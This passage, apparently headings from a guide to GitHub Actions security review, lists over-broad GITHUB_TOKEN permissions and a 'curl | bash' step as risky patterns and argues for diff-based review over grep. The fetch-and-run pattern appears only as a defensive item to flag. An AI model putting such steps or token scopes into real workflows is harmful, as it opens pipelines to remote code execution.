4. Over-broad `GITHUB_TOKEN` permissions

5. `curl | bash` inside a step

Why a quick diff beats a `grep`